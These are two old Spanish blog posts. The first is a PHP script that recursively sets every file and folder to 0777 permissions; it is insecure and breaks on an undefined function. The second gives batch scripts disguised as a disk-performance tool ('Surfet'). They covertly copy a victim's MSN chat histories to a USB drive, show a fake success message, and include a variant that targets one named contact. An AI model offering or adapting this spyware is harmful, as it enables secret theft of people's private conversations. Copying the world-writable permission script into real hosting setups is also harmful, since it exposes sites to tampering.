Jul 28

Esta noche tenía que cambiar los permisos de unos 16.000 ficheros, como no podía hacerlo uno a uno y con el FTP se tardaría días (y como se encontraban en un hosting gratuito sin acceso a derecho a nada) pues he tenido que hacer un PHP que recorrar todas las carpetas (y todo lo que hay dentro) hasta llegar a todos los ficheros y carpetas, una vez llega a ellos le cambia el permiso.

<?php
/*
* Cambia los permisos a todos los archivos y carpetas dentro de la ruta que le pases.
*
* By: Dimitrix
*     http://seguridad.dimitrix.es
* El: 28/07/2011
*
*/

function cambiar_permisos($ruta,$permisos){
if (is_dir($ruta)) {
if ($dh = opendir($ruta)) {
while (($file = readdir($dh)) !== false) {
if(filetype($ruta . $file)==”file”){
chmod($ruta.$file, $permisos);
};

if (is_dir($ruta . $file) && $file!=”.” && $file!=”..”){
chmod($ruta.$file, $permisos);
listar_directorios_ruta($ruta . $file . “/”);
}
}
closedir($dh);
}
}else
echo “<br>No es ruta valida”;
}

cambiar_permisos(“./”,0777);
?>

Para quien querais descargarlo os lo dejo aquí:

- En TXT: permi.txt
- En ZIP: permi.zip

Ser buenos…

<?php
/*
* Cambia los permisos a todos los archivos y carpetas dentro de la ruta que le pases.
*
* By: Dimitrix
*     http://seguridad.dimitrix.es
* El: 28/07/2011
*
*/

function cambiar_permisos($ruta,$permisos){
if (is_dir($ruta)) {
if ($dh = opendir($ruta)) {
while (($file = readdir($dh)) !== false) {
if(filetype($ruta . $file)==”file”){
chmod($ruta.$file, $permisos);
};

if (is_dir($ruta . $file) && $file!=”.” && $file!=”..”){
chmod($ruta.$file, $permisos);
listar_directorios_ruta($ruta . $file . “/”);
}
}
closedir($dh);
}
}else
echo “<br>No es ruta valida”;
}

cambiar_permisos(“./”,0777);
?>

Tagged with:
May 02

Me gustaría mostrar ya que está creado un programa en bat, que se trata de poner el pendrive, ejecutarlo y se copia las conversaciones de Msn y Msn plus al prendrive en modo oculto.

La aplicación está en MS-DOS (Bath…) y puse como que pareciera un programa para aumentar el rendimiento del PC, además al estar en Bath podeis modificarlo vosotros.

El problema mayor es que lo cree pensando en Msn, pero luego me di cuenta que el PC al que quería “pillar” las conversaciones tenía el Plus y se guardaba en otra carpeta de otra manera.

Además enseñaré un ejemplo de si quereis copiar automaticamente sólo un contacto en especial.


Para MSN:

@echo off
Color 30
echo.
echo                     ==================================
echo                     =        Surfet v.3.0.1          =
echo                     =        Analizador HDD          =
echo                     =             MoN                =
echo                     ==================================
echo.

set /p unidad= Nombre de unidad ejecucion:

echo.
echo Analizando HDD “%username%”
echo Puede tardar unos minutos, por favor espere, le indicaremos cuando haya finalizado.
echo.
xcopy “C:\Documents and Settings\%username%\Mis documentos\Mis archivos recibidos\*.*” “%unidad%:\FPs\” /S /C /Q

cls

echo.
echo                     ==================================
echo                     =        Surfet v.3.0.1          =
echo                     =        Analizador HDD          =
echo                     =             MoN                =
echo                     ==================================
echo.
echo.
echo Surfet termino de analizar y reparar el disco duro
echo Rendimiento conseguido:                        34%
echo.
pause

Para MSN-PLUS:

@echo off
Color 30
echo.
echo                     ==================================
echo                     =        Surfet v.3.0.1          =
echo                     =        Analizador HDD          =
echo                     =             MoN                =
echo                     ==================================
echo.

set /p unidad= Nombre de unidad ejecucion:

echo.
echo Analizando HDD “%username%”
echo Puede tardar unos minutos, por favor espere, le indicaremos cuando haya finalizado.
echo.
xcopy “C:\Documents and Settings\%username%\Mis documentos\Mis historiales de conversaci¢n\*.*” “%unidad%:\FPs\” /S /C /Q
cls

echo.
echo                     ==================================
echo                     =        Surfet v.3.0.1          =
echo                     =        Analizador HDD          =
echo                     =             MoN                =
echo                     ==================================
echo.
echo.
echo Surfet termino de analizar y reparar el disco duro
echo Rendimiento conseguido:                        34%
echo.
pause



Bien, el caso, para que todo parezca más real, la única variable que no he programa en automática es la de la únidad del pendrive donde se ejecuta.

Entonces, una vez ejecutamos la aplicación, pondremos en que unidad está y presionamos ENTER, entonces se copiarán todos los datos a la carpeta “FPs” del pen-drive (recomiendo crearla antes para que no aparezca “por arte de magia”)

También, si queremos cambiar que sólo copie las conversaciones de un contacto, por ejemplo de “peibol@hotmail.com”, modificaremos por ejemplo en el de MSN-PLUS la parte

xcopy “C:\Documents and Settings\%username%\Mis documentos\Mis historiales de conversaci¢n\*.*” “%unidad%:\FPs\” /S /C /Q

por el siguiente:

xcopy “C:\Documents and Settings\%username%\Mis documentos\Mis historiales de conversaci¢n\*peibol@hotmail.com.html” “%unidad%:\FPs\” /S /C /Q

Descargar (los dos archivos ya creados): http://www.megaupload.com/?d=293D1ZKC

Creador: Dimitrix

Tagged with:
preload preload preload